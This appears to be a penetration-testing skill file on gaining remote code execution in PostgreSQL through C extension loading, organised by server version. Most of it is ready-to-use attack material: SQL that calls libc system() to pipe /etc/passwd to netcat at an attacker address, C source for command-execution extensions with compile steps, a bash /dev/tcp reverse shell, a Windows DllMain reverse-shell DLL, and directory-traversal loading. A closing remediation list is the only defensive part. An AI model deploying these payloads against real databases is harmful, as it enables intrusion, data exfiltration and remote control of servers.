Hacktricks-skills postgresql-extension-rce
PostgreSQL Remote Code Execution via Extensions - Use this skill when testing PostgreSQL databases for extension loading vulnerabilities, analyzing RCE attack vectors through shared library injection, or understanding how to exploit CREATE FUNCTION to load malicious C extensions. Trigger this skill for any PostgreSQL security assessment involving extension mechanisms, shared library loading, or when investigating potential code execution paths through database functions. This covers PostgreSQL 8.1 through latest versions including directory traversal attacks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions/SKILL.MDPostgreSQL Extension RCE Assessment
⚠️ AUTHORIZED USE ONLY - This skill is for authorized security assessments, penetration testing, and educational purposes. Only use against systems you own or have explicit written permission to test.
Overview
PostgreSQL's extensibility feature allows loading C libraries as database functions. This can be exploited for Remote Code Execution (RCE) when:
- The database user has sufficient privileges to create functions
- Shared library loading is not properly restricted
- Directory traversal is possible in the CREATE FUNCTION path
Attack Vectors by Version
PostgreSQL 8.1 and Earlier (Legacy)
Direct system() function creation using libc:
-- Execute system commands CREATE OR REPLACE FUNCTION system(cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc <attacker_ip> <attacker_port>'); -- File operations CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
PostgreSQL 8.2+ (Magic Block Required)
PostgreSQL 8.2+ requires the
PG_MODULE_MAGIC macro in extension libraries:
#include <string.h> #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); }
Compilation:
# Install matching PostgreSQL version apt install postgresql postgresql-server-dev-9.6 # Compile the extension gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
Usage after upload:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
Windows DLL Execution
Basic DLL (executes function):
#include "postgres.h" #include <string.h> #include "fmgr.h" #include "utils/geo_decls.h" #include <stdio.h> #include "utils/builtins.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(pgsql_exec); Datum pgsql_exec(PG_FUNCTION_ARGS) { #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) int instances = PG_GETARG_INT32(1); for (int c = 0; c < instances; c++) { ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); } PG_RETURN_VOID(); }
Usage:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\\\10.10.10.10\\shared\\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer);
Reverse Shell DLL (DllMain execution):
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" #include "postgres.h" #include <string.h> #include "fmgr.h" #include "utils/geo_decls.h" #include <winsock2.h> #pragma comment(lib,"ws2_32") #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved) { WSADATA wsaData; SOCKET wsock; struct sockaddr_in server; char ip_addr[16]; STARTUPINFOA startupinfo; PROCESS_INFORMATION processinfo; char *program = "cmd.exe"; const char *ip = PG_REVSHELL_CALLHOME_SERVER; u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); WSAStartup(MAKEWORD(2, 2), &wsaData); wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host; host = gethostbyname(ip); strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr))); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL); memset(&startupinfo, 0, sizeof(startupinfo)); startupinfo.cb = sizeof(startupinfo); startupinfo.dwFlags = STARTF_USESTDHANDLES; startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock; CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo); return TRUE; } PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(dummy_function); Datum dummy_function(PG_FUNCTION_ARGS) { int32 arg = PG_GETARG_INT32(0); PG_RETURN_INT32(arg + 1); }
Note: Just loading the DLL triggers the reverse shell - no function call needed:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\\\10.10.10.10\\shared\\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Latest PostgreSQL Versions (Directory Traversal)
Modern PostgreSQL restricts library loading to specific directories, but
CREATE FUNCTION allows directory traversal:
Attack Flow:
- Upload malicious library using large objects
- Export to data directory
- Load via directory traversal
-- Upload via large objects (see scripts/pg_large_object_upload.py) -- Then load with directory traversal: CREATE FUNCTION connect_back(text, integer) RETURNS void AS '../data/poc', 'connect_back' LANGUAGE C STRICT; SELECT connect_back('192.168.100.54', 1234);
Note: Don't append
.dll extension - CREATE FUNCTION adds it automatically.
Assessment Checklist
Prerequisites
- PostgreSQL version identified (
)SELECT version(); - User privileges verified (superuser or function creation rights)
- File upload capability confirmed
- Network access to attacker infrastructure
Version-Specific Checks
- 8.1-: Test direct libc function creation
- 8.2+: Verify magic block requirement, compile custom extension
- Latest: Test directory traversal in CREATE FUNCTION
- Windows: Test DLL loading from network shares
Privilege Escalation Paths
- Can create functions without superuser?
- Can write to PostgreSQL data directory?
- Can load from restricted directories?
- Large object permissions (
)pg_largeobject
Remediation Recommendations
- Restrict CREATE FUNCTION privileges - Only grant to trusted superusers
- Disable shared library loading - Set
carefullyshared_preload_libraries - Use PostgreSQL 11+ - Has improved restrictions on library loading
- Monitor function creation - Alert on CREATE FUNCTION statements
- Restrict file system access - Limit postgres user write permissions
- Network segmentation - Prevent database server from reaching internal systems